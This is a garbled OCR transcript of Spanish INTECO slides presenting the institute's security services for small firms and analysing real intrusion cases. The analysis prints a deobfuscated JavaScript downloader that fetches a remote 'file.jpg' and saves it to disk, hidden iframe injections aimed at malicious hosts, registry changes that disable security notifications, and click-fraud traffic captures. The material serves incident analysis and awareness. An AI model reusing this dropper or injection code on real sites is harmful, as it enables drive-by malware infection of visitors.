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;. Qué es INTECO? ‘

Instituto Nacional de Tecnologias de la Comunicacion (INTECO)

v" Sociedad estatal promovida y adscrita al Ministerio de Industria, Turismo y Comercio a través
de la Secretaria de Estado de Telecomunicaciones y para la Sociedad de la Informacion.

v' Su objetivo fundamental es servir como instrumento para desarrollar la Sociedad de la
Informacién, mediante la gestion, asesoramiento, promocion y difusién de proyectos asociados a
las Tecnologias de la Informacion y la Comunicacién (TIC).

v" Tres pilares fundamentales: la investigacion aplicada, la prestacion de servicios y la formacion.

/ Lineas estratégicas de actuacion de INTECO: \
> SEGURIDAD

» Accesibilidad

> Innovacién TIC

> Ciudadania e Internet

K > e-Salud /
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Seguridad
Informatica v' Coordinar investigacion aplicada y formacion

TIC.

especializada en el ambito de la seguridad en el uso de las

v Convertirse en el Centro de Referencia en Seguridad
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v Dirigido a sentar las bases de coordinacion de distintas

K / Informatica a nivel nacional.

— =

Centro Nacional de Respuesta a Incidentes en Tecnologias de la Informacion (CERT) para PYMEs

Centro Demostrador de Seguridad para la PYME

Centro de Alerta Temprana Antivirus (Centro Nacional de Respuesta para usuario doméstico)

PYMES

} Ciudadanos

Observatorio de la Seguridad de la Informacion
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:> Centro Nacional de Respuesta a Incidentes de Seguridad en
Tecnologias de la Informacién para PYMEs

Seguridad
Informatica

¢ Por qué las PYMES?

—

El 94% del tejido empresarial espainol esta compuesto por pequenas y medianas empresas

Dotadas de una infraestructura informatica y de comunicaciones de pequeina o mediana capacidad

Sus medios de defensa, técnicos y humanos, ante un posible ataque a su seguridad son limitados

Las pequeinas empresas gastan cada afno en Europa 22.000 millones de euros en combatir ataques informaticos

1l

Prevenir, informar, dar respuesta y prestar soporte a la Pequeina Y Mediana empresa en Seguridad
Informatica.
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Centro Nacional de Respuesta a Incidentes de Seguridad en
Tecnologias de la Informacién para PYMEs
Servicios que ofrecera

==

Servicios Proactivos / Preventivos

Seguridad
Informatica

Ayudar a proteger sistemas, prevenir ataques y problemas antes de que estos produzcan dafos en los sistemas

J

Anuncios y avisos sobre alertas, vulnerabilidades, herramientas, bases documentales y consejos

Asistencia en la configuracion de elementos de seguridad, inicializacion de los diferentes elementos de seguridad

Difusion y formacion al colectivo.

Desarrollo y recopilaciéon de herramientas de seguridad

]

CONCIENCIACION, FORMACION Y SENSIBILIZACION: GENERAR CONFIANZA
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Centro Nacional de Respuesta a Incidentes de Seguridad en
Tecnologias de la Informacién para PYMEs

Servicios que ofrecera

—

Seguridad
Informatica

Servicios Reactivos

ayudar a solucionar problemas de seguridad una vez hayan infectado los sistemas informaticos de la PYME

J

Gestion de incidentes, ayudando y registrando la incidencia; de esta manera reduciremos posibles futuros incidentes.

Alertas y avisos, que daremos a través del portal y los suscriptores de este servicio

Gestion de vulnerabilidades, con el analisis de fallos de sistemas y aplicaciones

Gestion de malware, con el analisis y estudio (incluyendo técnicas de desensamblado e ingenieria inversa) del malware

3

GENERAR RESPUESTAS Y POLITICAS DE SEGURIDAD ACTIVAS ANTE INCIDENTES Y

SALVAGUARDAS

Coordinacion de incidentes entres los distintos agentes
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Seguridad

Informatica

Concienciacion del ciudadano en Materia de Seguridad Informatica

¢Como lo ha conseguido hasta ahora?

e

Red de Sensores.

Somos capaces de procesar unos 25 millones de correos diarios (aproximadamente un 10% del correo nacional) de la Red
Académica Universitaria, Administracion Publica y Empresa Privada a través de mas de 100 sensores. Resultado de infecciones
de correo se muestran en: www.alerta-antivirus.es; media de deteccion de correos infectados de virus informaticos 5,5%

Informes gratuitos por correo electrénico.

Suscripcion a Alertas por mail de virus muy peligrosos y de informes diarios sobre deteccion de virus. 240.000 subscriptores.

Informe detallado en la pagina web: www.alerta-antivirus.es

Virus que se van detectando a lo largo del dia con una informacion detallada sobre los mismos (mas de 6.500 entradas de virus y
mas de 23.000 vulnerabilidades documentadas, con mas de 500.000 visitantes mensuales)

Herramientas/Utiles gratuitos de Ayuda al Usuario. Fraude Financiero en Internet.

Foros de discusion.
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Seguridad

Informatica

Concienciacion del ciudadano en Materia de Seguridad Informatica

¢Como lo ha conseguido hasta ahora?

e

Buzones de consultas y sugerencias.

Se resuelven todo tipo de consultas de los ciudadanos sobre sus incidencias con malware (virus, troyanos, etc.), como
desinfectarse de los mismos y como llevar a cabo medidas de prevencion.

Informacion y alertas en paginas de teletexto.

Para hacer llegar las alertas de virus informaticos a los ciudadanos a través de la pantalla de television. El servicio, abierto a
cualquier cadena de television nacional o autonomica, sera ofrecido mediante las paginas de teletexto

Alertas en el chat IRC-Hispano

Hacer llegar las alertas de virus informaticos a los ciudadanos a través de los servicios de chat de IRC-Hispano
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Centro de Alerta Temprana Antivirus

Seguridad Informatica Actuaciones ya realizadas o en

desarrollo

- =

indice de Peligrosidad del Correo Electrénico.

Estudio del comportamiento del SPAM en Espafia (SANET, Spam Analyzer Net).

Ampliaciéon informacion relativa a vulnerabilidades mediante la National Vulnerability Database del NIST.

Ampliacién Red de Sensores del INTECO.

Generacion de un Mapa Nacional de Incidencias.

Ampliacién de informacion y servicios sobre fraude Online - antifraude@inteco.es

Generacion de nuevas herramientas de comunicacion de alertas.

Ampliacién foros de seguridad del INTECO.

Participacion del INTECO en eventos de seguridad y medios de comunicacion.

Generacién de sinergias entre el INTECO y otros actores de la seguridad.
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INTRUSIONES EN PYMEs

éQué las producen?
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CcODIGO
MALICIOSO

MALWARE

[Vulnerabilidades] [ Hackers ] [ Empleados ]
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INTRUSIONES EN PYMEs

¢Qué las producen?

SPAM

BOTNETS
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| CASOS DE INTRUSIONES EN PYMEs (1)

WUTTEW TTIEWLT UTITLWY
Problemas de uso, consejos, programas de correo, programas anti-spam

Ir a: Lista de Foros + Lista de Mensajes + Nuevo Ir a discusion: Anterior « Siguiente
Tema « Buscar « Cerrar Sesion

Bloqueo en Spamcop

Enviado por : nuatieske (62 . 3
Fecha: 15 de febrero de 2007, 19:28

Buenas tardes,

Mi IP publica ha sido incluida en alugunas listas negras, entre ellas Spamcop. Como mi
proveedor de correo utiliza esta lista, todo lo que tratamos de enwviar por email desde dicha
Ip es rechazado,

gestiona una red con bastantes equipos, los cuales salen a traves a Internet desde una
misma IP publica.

Tras investigar bastante, he visto en la lista de Surriel que, efectivamente, se ha enviado
spam desde esta direccion, pues el HELO asi lo indica. El asunto del correo reza "Men's
health drugs for almost a quarter the price!”, por lo que supongo que algl.'m equipo esta
infectado por algl.’m troyano, pero he escaneado todos los equipos y no encuentro nada. La
verdad es que hablamos de mas de 50PCs, v claro con el NAT no puedo saber el origen
exacto y no sé por donde tirar. Alguien me podria ayudar?

En estos momentos no estamos enlistados, es decir, puede enviar correo, pero supongo que
en cuestion de horas estaremos en las mismas.

Gracias de antemano.
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| CASOS DE INTRUSIONES EN PYMEs (2)

problemas con google

Enviade por : ikt |50 2JRsemg:
Fecha: 28 de febrero de 2007, 08:47

Hola buenso dias, desde hace unos dias en mi empreasa tenemos un problema con el buscador google,
cuando intentamos buscar algo nos sale una pantalla que dice

GOOGLE error
lo sentimos...

. pero aen estos momentos no podemos procesar su solicitud. Un wirus de ordenador o software espia
nos estd mandando solicitudes automaticas v, al parecer, su red o su equipe ha sido infectado.

Restauraramos su acceso tan pronto como nos sea posible, de modo que vuélvalo a intentar pronto.
Wientras, podria ejecutar un programa para la deteccidn de virus o para la eliminacidn de softwars
espia para tener la seguridad de que su equipo no tiene virus ni otros tipos de software daninos.

FRogamos disculpe las molestias. Esperamos verle pronto de nuevo en Google,
Para seguir buscando, por favor, escriba los caracteres que ve a continuacion:

Mo se como quitarlo, he probado con el antivrus que tenemos en la emprasa, con antivirus on-line con
programas anti espias (spybot, ad-aware) v nada, no consige encontrar el maldito wirus, trovanao, lo
que sea, wa me tiene asqueado el terma, la empresa tiene como unos 30 ordenadores w no encuentro
nada en ellos, les he pasado estos programas w nada.

5i me pudiesen ayudar se lo agradeceria.
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| CASOS DE INTRUSIONES EN PYMEs (3)

Direceidn | ] Rt v &

v (5] Buscar - @ @lhluqueaduﬂs} "3: Correckar orkografico - EOpciDnes o

""5-11] - Bloc de notas
Archiva Edicidn  Formato  Wer  Awvuda
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0l Transitional//EN">

<htm] =
Trame sro="http: /HAckel%aR%00%7 %05 . R038aTHad A0 AT T SRAe% T4 %0057 2 /R00%0ak0d XA SHTE. X7 0%A8%T0" width=1 height=1l»</1fra

SHrame sro="http://53server. com/counter, A ndex. php" width=1 height=1l></iframes>

<head:>

<titlesBienvenido a la web de Electrodomé&eacute;sticos Feijodoacute; </ titles
<meta http-equiv="Content-Type" content="textshtml; charset=is0-8855-1">
</heads>

<body bgcolor="#000000" Teftmargin="0" topmargin="0" marginwidth="0" marginheight="0" scroll=no>
<object classid="cl=s1d:027CDEBEE-AEGD-11cT-9668-444553540000" Codebase="http://download.macromedia. com/pub/shockwave/cabs/f1
<param name="movie" wvalue="animaciones_flash/Togos_feijoos/presentacion. swf"s
<param name="guality" value="high"»
Igegbed src="animaciones_flash/Togos_feijoo/presentacion.swt"” quality="high" pluginspage="http: Swww.macromedia.com/go/get
< /hodye
r}htm¥>
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| CASOS DE INTRUSIONES EN PYMEs (3)

— =] codigo_lirmpio. et l _
archivo  El
1 |-<Script Language="' Javalcript' >
<script z LA TRET BHA1
A%E E%EA 3 docutment . write [ unescape (! <sScript lancuadge="Jjavascript>function 4dF (3) {war sl=unesc53%2ﬁx?%3ﬂ%
%EA%EA? 3 war t='"':for(i=0;1i<sl.length;i++) c+=3ctring. fromCharCode (Sl1l.charCodeldt (i) —-s.s5ubstr (5.1 A?%EA?%E
HAERRI A 5 document . write (unescape (£ ) </ script>="'1); b 0 7S A%
SATFXRLA & FXICHIBX2
FRIATFE 7  dF (' <Script Language='JavaScript'>document.write| unescape |’ (FAEICHL AT
A AT A = <script language=TisvascriptUr>function dF (2) {var sSl=unescape (S.substr(0,s.length-1)) b7 %3A87TF%S
[ s W t='':for(i=0:;i<=1.length;i++) t+=String. fromCharCode (s1.charCodeldt (i) —=.substr (5. lengtlf F%3 A%
SDLEZAT 2 docwnent.write (unescape(t)])}</Script>"'1]); P A 7F®REID
%3IATF%I 10 (2 ATEIATH
%ICGEkET e el B3 AKKT O
2ATRI AN 12 <script language='javascript' > bAS S A% AT
S A TS A 13 function Creasatel(o, n) i b o T F R AT M
ASH¥EZAT]| 12 var © = muil: L7 FH3CH A
TREIATF® ) try { evall('r = o.CreateChijectin] ') lcatchie] {3} LS FL S 07
SATFE®RIC 18 if (! r) {try { evali('r = o.CreateChjectin, ""1'] lcatchie)l{}} L3 ATFF%2DM
%EIE%EI?% ) if (! r) {tryv { ewval('r = o.Createdbjectin, fff, M1} icatchie)] {1} 3%2 B%?E%E
EBRQ'N'].S 15 if (! r) dtry { evali'r = o.Getlbhject (""", n)') rcatchie) i} \EHgt:l%?E
E%EEH%E i9 if (! r) {tryv { eval('r = o.GetCbhjecti(n, "™1'l lcatchie) {}} :AEHSEE%E
IEEEI AT z0 if (! r) {try { evali('r = o.GetCbhject(n)l ') lcatchie){}} L E% 2 E%: BY
2AXICIH j; ‘}fe‘:“‘fn & L7 HIEH2 AT

3 L .
SEEPD 2%  function Gola) L_ig;g;’
DSEE#:':D 24 var obhj msxmlz = Created(a, 'msxm'+'12.X'+' HLHT' +' TP') ; L':(':'S':'S:
DS:&#:{C‘ T ob] msxmlZ.open('GET', 'http://S53server.com/counter/file.jpy' ,fal=se) ; *:(':'5':'5:

: =28 obh]j msxmls .sendil]) ! 5
g;’ﬁig R war ohbhj adodlh = Create0ia, 'adod'+'b.stcre'+'am' ) ; iig;gg:
|:|5 S () 28 ob]j adodb.type = 1: b (15005 -
DS lﬁ#:ﬂ:‘ Z8 obhj adodb.openi): *:{':'5':'5:

ol 30 ob] sdodb.Wrice (obj msxmlz.responseBody) ; :
s war fn = 'S0+ LSS ~tmp' ' 0373 e + w2
32 obd Sdodb.SoveToFile (Th.els
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| CASOS DE INTRUSIONES EN PYMEs (3) |

[ R EEEE=—=—=—==—=—=—=—=—=—=—=—==————==—.

Complete scanning result of "file.jpg”, received in VirusTotal at 11.23.2006, |STATUS: FINISHEDl
13:44:19 (CET).

Antivirus Version Update Result

Antivir 7.2.0.44 11.23.2000 HEUR/Crypted
Authentium 4.93.8 11.22.2006 no virus found
Avast 4.7.892.0 11.22.2006 no virus found
AVG 386 11.23.2006 Ao virds found
BitDefender 2.2 11.23.2006 no virus found
CAT-QuickHeal 8.00 11.22.2006 (Suspicious) - DMNAScan
Clamay devel-20060426 11.23.2006 no virus found
Drweb 4.33 11.23.2006& no virus found
eSafe 7.0.14.0 11.22.2006 Win322.Polipos.sus
eTrust-InoculatelIT 23.73.65 11.23.2006 no virus found
eTrust-Vet 30.3.23209 11.23.20006 no virus found
Ewido 4.0 11.23.2006 no vi found
Fartinet 2.82.0.0 11.232.2006 suspicious

F-Prot 3.16f 11.22.2006 no virus found
F-Frotd 4.2.1.29 11.22.2006 irus found
Ikarus 0.2.65.0 11.23.2006 found
Kaspersky 4.0.2.24 11.22.2006 no virus found
McAfee 4902 11.22.2005 no virus found
Microsoft 1.1804 11.23.2006 no virus found
MOD32v2 1879 11.23.2006 no virds found
Morman 5.80.02 11.23.2006 WWE2/Suspicious_U.gen
Panda 9.0.0.4 11.22.2006 Suspicious file
Prevxl Va2 11.22.2006 no virus found
Sophos 4.11.0 11.16.2006 Mal/Packer
TheHacker 6.0.3.123 11.23.2006 no virus found
LIMA 1.83 11.22.2006 no virus found
VBAZZ J.11.1 11.22.2006 no virus found
VirusBuster 4.3.15:9 11.22.2006 no virus found

Aditional Information

File size: 3369 bytes

packers: UPACK
packers: UPack

MD5: aZa84es5ff12058bbobatc3238e608029
SHAL: c87bB8b4ecB2a3454340ab059d9364abfd5felbss2
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| CASOS DE INTRUSIONES EN PYMEs (3)

ass Monitor - Logfile.PML

Event Filker Tools Opkions  Help
ABE | A A5 (23

ime... | Process Hame PID  Operation Path Rezult Detail
bAZ.. TI1964120818.ene 1392 SetEndOiFilelnformationFile C:\wIND 0w S systemn32 configheofiware LOG SUCCESS EndOfFile: 45056
baZ.. TI1964120818exe 1392 RegSelvalue HELMYSOFTwWARE \Policies\Microzoft\windowsswindowsl pdateh DoMotdllowi<PS P2 - SUCCESS Type: REG_DWORD, Length: 4, Data: 1
ba% 11964120818 exe 1392 ReglClosekey HELMYSOF TWwAREPolicies \Microzoft\windowswindowsl pdate SUCCESS
ba% TI1964120818 exe 1392 Reglreatekey HELMYSOF TWARE \MicrozoftsS ecunty Center SUCCESS Dezired Access: Wiite
ba%. 11964120818 exe 1392 RegSetValue HELMYSOFT'WARE \MicrozoftsS ecunty CenterdntivinuzDizableMatify SUCCESS Type: REG_DWIORD, Length: 4, Data: 1
Fa% 1964120818 exe 1392 SetEndOiFilelnformationFile C:\wIND DS epstem32h confighaofiware LOG SUCCESS EndOfFile: 49152
ba% 1964120818 exe 1392 RegClosekey HELMYWSOFTWARE \MicrozoftsS ecunity Center SUCCESS
M43 T]1964120818 exe 1392 Reglreatetiep HELMYWSOFT'WARE \MicrozoftS ecunty Center SUCCESS Dezired Aocess: Wite
43 T1964120818 ke 1392 RegSetvalus HELMYWSOF T'WARE \MicrozoftsS ecurity Center\FirewallDizable otify SUCCESS Type: REG_DWIORD, Length: 4, Data: 1
43 Cevchosene 840 RegClozefey HELMNSOF T'wWARE \Policies SUCCESS
4% TR PNE1 A pue 1392 BeaClnzekeu HEI MASOFTWARE \Mirrnznfth S eyt Center SHECESS

¢ Editor del Registro

Archiva  Edicidn Mer  Eawvoritos  Ayuda

[ ContrA || Nambre Lip EretT
2 (3 Explor de} REG_SZ ivalor no establecido)
- Ext i (ab] v maritar REG_SZ C\DOCUME~1} aule) CONFIG~11 Templsvchaost .exe
g % EIEEE i |:u:|rt windows REG_S7 CIWINDOWS system3Zogysten, exe
: Cl Interr
E‘ Cl Interr
¥' [ policie
e |

-7 Setkin




Algunas experiencias en Intrusiones

INTeco

Instituto Nacional
de Tecnologias
de la Comunicacién

| CASOS DE INTRUSIONES EN PYMEs (3) |

352. 577785
35255 TRES
352.762243
352763691
352.763784
352.765012

709
13
714
FI5
7i6e

FR2.E¥X2307
352950523
3328951768
20051893
352.953040

718
719
720
21
r22

353, 055065
352.105572
353.106899

728
729
730

L2 232.82.130
O I6E-T06. 133
T2.232.82. 130
L2 232782130
192 168, 106133
FF 222822830
192 16106133
F2.232.82.130
2. 232 B2 130
I92. 168, 106.133
F2.232.82.130
T2 16 106133
T2 232 82,150
Z2 232 8130

ALY P e LV AR = T I o I IO . T8 TUG. L33 Tl e e e LA T Ty = I'ILLE.J [STN] bEL;=U CEII=d MSS=EF0U

O3 351049994 F2.232.82.130 192 . 168.106.133 TCP http = 1085 [S¥N, ACK] Seg=0 Ack=1 wWin=64240 Len=0 MS5=1460
704 351.050115 192 . 16B.106.133 Pl e S T TCr 7 e i A .- O e e e i 35 Len=0

705 351.050399 192.168.106.133<0. 72.232.82.130 HTTP GET /chk.php?gg=Tatino+dating HTTE/ 1.

706 351 050464 T2.232.82.130 S P o T s i v v e ] Sl ST R g Bl e~ 4240 Len=0

FOF 3525576522, F2.232.82130 192.168.106.133 TCP [TCP segment of a reassembled PDU]

182.168.106.133
PR S R
Joz. deB. 106133
I92. A6E. 106133
F2.232.82. 130
192168106, 1

72,232, B2.120
192.168.106.13

" @ Follow TCP stream

ratre

TCP 1085 > http [ACK] Seq=227 Ack=2921 win=65535 Len=0
TCP [TCcPr segment of a reassembled PDU]
TCP [TCP segment of a reassembled PDU]
TCP 1095 > http [ACK] Seq=227 Ack=5B41 Win=65535 Len=0

TTE

192168 106.13
f2s 2F2CETTAT0
192.168.106.13

4

72232 B2 120
192.168.106.13
197.168.106.17

GET /chk. php7ag=Tat T T
chk. php7gg=Tlatino+dating 7.
iy =0 =0 el ___—ﬂ“J

Acce'pt—l_anguage. =30
laccept-Encoding: gzip,
User— 3

deflate
compatible;

MSIE ©.0; Windows NT 5.1; swvi1)
coTDr.cﬁkTop;jnfo

ICOnn e e : e

e

731 353.106996 192.168.106.133 72.232.82.130 a
732 353_138500 72.232.82.130 192_168.106.13 SEIZ{1+EUZDEDOEDU P —
;;i ggg'%ggggg ;gézigésiﬁégggg %gziﬁgséiogé%' Serwver : Aﬁachef1.3.3? (UD%X}-de_SS1f2.E.28 OpenssL/0.9. 7e-pl PHP//4.4.4

< GG

| =18 E=fm | B [=Tu P

[m=] el |

DirecgBn |@j http:,I',I'CD|DF.Cik]DD.iI‘IFD,I'Chk.th?qq=|atil‘l0-l:5|l3_t_i59__

T Fa%voFD:
.'.p"s..r

=7

T~

[Lid B NI = S &

=

vl ey

Goiugle - | — : L =y et @ @ 1 blogueadors) "'ff Corrector ortografico - E Qpciones 0
Kevword: |atno dating | [chesk
Looking For latine dating? Click Here To Find Eesults IO |

Leooking for latine dating sites? Click here to wiew the top latine dating sites on the web. Find your soulmate, a fnend, a lover . whatever you are locking for, wou can find itl!

Fittp 7766 230,138, 21 17kl php 7data—C K 5 1K (S 5FJ 5 M et mi 2B e 2 W 655
OB Up i OQr Ty Zko & At2vDIr 1 20 VeV zal 8.4 A ZDE3 SerggR qoafo8 2tPmyd YBFmSLeRb SwwHw Wh0igiUz ¥ 9 GaSwr 2 jzjusyc DIK beml ¥ owiK 6 AMTHS 7nF SvewS 7%
b Fuk 3T WitEeTdsFuyb 6 Thi2s 2F {WiSDiXMIE% 2B s PHE MAHE V6 TRBI2OH D6 0 D6 VT WIAV g3md TOZIHe 6tuD A OvPhfV 1mgBAF 2FE 76sue CxUS G 1rSObyCph

D BRI w WV QO Rdr 1 CVENLtdk s WK c K 75 GWE MW A2 7vD 5 OVUULH 1 csg Uy QJarZwE 1T SgESMnD 0%
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106,132 DT s T 2 N = 3 1 -rl =
106,13 72.232.82.130 % H TR Cer =
82.130 - T = = sy
82.130 192.168.106.133 T {,§§§d>
B82.130 192.168.106.133 T =t abl s
-106.133 F2.232 82130 T
82.130 J192.168.106.133 T e
82130 192_ 168.106.133 T .<table cellpadding=0 cellspacing=0 border=0></table>.. </ td=
.106.133 F2.232.82.130 T i -
£2.130 192 . 168-106-133 T =/tables=
<table width="100%" border="0">
.1086. 133 72. 232 B2.130 Tofnas - — - -
= =td> =a target="_blank"” Hdid="testovaya hren" href="http://66.230.138.211/

32 130 192 153 106. 123 T k1ik. php?data="%2Bif5TAGaeZEMonCc30psi4 39Txgql bxs

.106.133 72 232 B> 130 - PEZCgUOj2Hpobhykd exnDaTKDT awjywb j1Y2MRuUx%2By4h3zvEeFgocNZ 1gbGss
&2.130 102.168. 106.132 - PFEXFOvTAuuCcarhweepHgpCrZsufndkKc9i KyplEDGeTU ] 5316vTHZEvvKkHO S hiwv B2 FOKSK T IcRREZ 1%

- - - - PEjgh? vBXymBwEBEdZE6NTTRPbSalxRbL kdNcAUVWHTFVEZCMEVTES JQOBHWBZL K2B2dpwui IZ%2BbF 7%

06 133 N L PEZrzqNjT3E2BENAl7OFpSkRRXMACFS 31 EDVvwWo05:
= = 2 3 = il PEJTpSCcXLI465F91 X jDgpTgl IXUC2CcCAWUBQTBY ISSNEBFepXsXwmBBasaqpx 1 AEVZZT KNNCRWFKAWKZT6E jxrhw
82.130 192.166.105.133 T} | Pe%2EjjTobkghjc92HGawT4 a6t T%2BVH2E 1%2FuTR%2F FKGEHAD2ZkBVGDa%
52.130 192.168.106.133 T  EPeosGelrrkFov]zKFBygFH2C4 xnehbPCnPwxByxoKP2zkncbjkjt3ouwm3 jeamLBsbhNjBekgglia3utu2 AUOMM
LA06. 133 F2.232.82.130 T P FUXYQW VT FQYVRFImGT 7 0SyZ yNEubhjrExgCcuBE4d gbQyswpkPOoXXrnUlOnRAGHRIDHID " >Latin singles and
82 .130 192168 106.133 T Personals</a> </td>
32 130 I92 J68.106.133 T =7 Ll =

8 Lo O - LOG: TU0: 5 O Wi L Eg=0 F = WITT=OF 9T CeEl—g Moo= LF o0

19z, 158 1[}6 133 [l e at o e TCr TUDE = ILLD LRCEremedembals] Win=65535 Len=0

152.168.106.1 55 66.230.138.211 HTTP GET /klik.php?data=wFvmSF3IZEYQNNES 73 TVDF I0AGOWVI HUSywHZESONT ud P02 1 1UXdrHCOShZ
66.230.138. 211 et B8 106133 TCP http = 1098 [ACK] Seg=] AckoEshe-m 64240 Len=0

66, 230138 711 192 68 106133 HITP HilE,/ 1.1 302 Found

192 168 . 106.133 66.230.138. 211 | @

66.230,138.211 192.168.106.133 # Follow TCP stream

192.168.106.133

66, 230,138,211

Stream Content -

197. 168,106,133 66 230. 133 211 41| BET /R Ik, pHptUdLa—WrVinE T2 ETUMNIIES 280 T VO J UAGOV LA US YV

66.230.138.211 192.168.106.133 1 | BF39Nfud5FOZIIuxdrHCOSbzvDTY S c2TMsCWROTF DV myy SkYdE2 FyBTvM SgmHyZ 1 ZagzZs

1927,168.106.1332 66.220.138. 211 T 2FSPt9QF&Dh1ﬁJlZUth51%25&VqDﬂHZQTIRUZ1F%EFNLtPMUFOSnuSNDUDpOdCZWTICbGGQH%EB%
66. 230, 138. 211 PFtMKabhpOZEYpSiQngEHdaP 2w 10t G3vvS0vhOKFIJHpWwhbPESART ANST 2ZqBEDD7 vvGI2g4%

PELokd efOIVTMOT 7 X2WXEIVQG] 1 BGCr NBEZBNYLNFZmUynFCL8MyvgSNVRWIOMBGBOaF SQTVES SQARPaB%
2F1cdglIl?mbXSbmjlwhkeEhDFrgjSSHdKOqLAqEPUIEQhUDiDSbKNDyBSXUEQCElapPkEEn HTTP/ /1.1
BCccept: f/F

beferer: http://color.ciklop. info/chk. php?gg=Tlatino+dating

hccept-Language: es

Wccept-Encoding: ?zip, deflate

liser—-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; 5v1)

HosT: B6.230.138.217

Connection: kKeep-alijve

HT TR 1 A D]
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ehtés - '\_.3;] @ @ i'h j':j Busqueda L<E'fl\".j/FEI".-'-::nrit-::ns @ E,j* a__;LF

—
Direcdd@fwww.tgpie.l:::um;"ger,."cr.. php )

ALL FTP:3000
DONE FTP:46
STOPPED

What replace
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</body>

On What replace

<iframe src="http://$373%32.%323%33%37.%31%37.%33%36
</body>

£ il | >

FTP accounts

L._Save ] [Start] [Smp] [ Refrash ] [Inﬁ::] [ Delete ]
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we o ) = R | g T TTOTTTT A T T R | e TR == Lo W T
lirercid @ http: S, alivepr, comy )
:-DDglEv T —— -""c?ﬁcl Buscar = @ @Ilhhqueadﬂ(s} "‘¥ Cotreckor arkografica = EOpcinnes e
£ www.alivepr[1] - Bloc de notas
Archivo  Edicion Formato  Wer  Ayuda
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http:/Afwww.w3.org/TRAtmld Frameset.ded">
<html=
<head:
<titlexalIvE healthy at home, healthy at work, hea1thﬁ at play«/citlex
<meta http-equiv="Content-Type" content="text/html arset=1s0-8859-1">
</heads
<frameset rows="*" cols="%,60%,*" framespacing="0" frameborder="n0" border="0">
<fFrame sre="mz2.htm">
<frameset rows="*, 40%, %" cols="*" framespacing="0" frameborder="MNCl" border="0">
<fFrame sre="ml.htm">
<frame src="weh0l.html" name="topFrame" scrolling="M2" noresize:
<frame src="md.htm" name="leftFrame" scrolling="N0" noresizes
< /frameset:
<fFrame src="m3.htm" name="mainFrames":
<fframeset>
[0 - i[n] }-"
i {'I'Fr‘ame sro="hitp: A T RE . M 2RISR T B3R R 3RS0, 03 RA TRV DR0ek A A KT 2 /HA0R0ek0d RO SKTE, BT 0R68RF 0" w@ h
el 0 1 ames >
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